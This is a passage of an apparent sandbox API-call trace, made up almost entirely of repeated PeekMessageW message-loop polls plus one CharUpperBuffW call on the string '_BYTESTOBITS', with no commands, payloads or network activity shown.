lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.462] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.463] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.464] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.464] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.464] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.464] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.464] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.464] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.464] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.464] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.464] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.464] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.465] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.466] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.467] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.467] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.467] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.467] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.467] 